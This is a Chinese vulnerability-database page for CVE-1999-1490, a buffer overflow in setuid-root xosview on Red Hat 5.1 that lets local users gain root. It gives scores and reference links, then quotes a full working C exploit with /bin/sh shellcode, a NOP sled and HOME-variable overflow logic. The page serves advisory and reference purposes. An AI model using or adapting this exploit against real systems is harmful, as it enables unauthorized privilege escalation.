CVE-1999-1490
CVSS7.2
发布时间 :1998-05-28 00:00:00
修订时间 :2016-10-17 22:04:57
NMCOE    

[原文]xosview 1.5.1 in Red Hat 5.1 allows local users to gain root access via a long HOME environmental variable.


[CNNVD]Red Hat xosview获得根访问漏洞(CNNVD-199805-017)

        Red Hat 5.1版本的xosview 1.5.1版本中存在漏洞,本地用户借助一个长HOME环境变量获得根访问权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1490
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1490
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199805-017
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=90221101926021&w=2
(UNKNOWN)  BUGTRAQ  19980528 ALERT: Tiresome security hole in "xosview", RedHat5.1?
http://marc.info/?l=bugtraq&m=90221101926034&w=2
(UNKNOWN)  BUGTRAQ  19980529 Re: Tiresome security hole in "xosview" (xosexp.c)
http://www.iss.net/security_center/static/8787.php
(UNKNOWN)  XF  linux-xosview-bo(8787)
http://www.securityfocus.com/bid/362
(VENDOR_ADVISORY)  BID  362

- 漏洞信息

Red Hat xosview获得根访问漏洞
高危 未知
1998-05-28 00:00:00 2005-05-02 00:00:00
本地  
        Red Hat 5.1版本的xosview 1.5.1版本中存在漏洞,本地用户借助一个长HOME环境变量获得根访问权限。

- 公告与补丁

        

- 漏洞信息 (19281)

RedHat Linux 5.1 xosview Vulnerability (EDBID:19281)
linux local
1999-05-28 Verified
0 Chris Evans
N/A [点击下载]
source: http://www.securityfocus.com/bid/362/info


xosview is an X11 system monitoring application that ships with RedHat 5.1 installed setuid root. A buffer overflow vulnerability was found in Xrm.cc, the offending code listed below:

char userrfilename[1024];

strcpy(userrfilename, getenv("HOME"));

The userfilename can be overflowed and arbritrary code executed to gain root access locally. 

* xosview 1.5.1 buffer overrun exploit

* brought to you by Kossak (ldvg@rnl.ist.utl.pt)

*

* yep, this is a shameless rip from Aleph's tutorials, but it sure

* works... Lets keep those exploits coming!! :)

* Thanks to Chris Evans for posting the bug.

*/

/* NOTE!!! xosview needs an open X display for this to work, so remember

* to modify the source (line 62), with your ip.

* The offset and buffer size work with me fine, but you might need to

* change them.

*/

#include <stdlib.h>

#define DEFAULT_OFFSET 1150

#define DEFAULT_BUFFER_SIZE 3500

#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_sp() - offset;

printf("xosview exploit by Kossak\n");

printf("try changing the default values if you dont get root now.\n");

printf("Using address: 0x%x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)

buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

setenv("HOME", buff, 1);

system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */

} 		

- 漏洞信息

7393
Red Hat Linux xosview HOME Variable Overflow
Local Access Required Input Manipulation
Loss of Integrity Workaround
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

1998-05-28 Unknow
1998-05-29 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站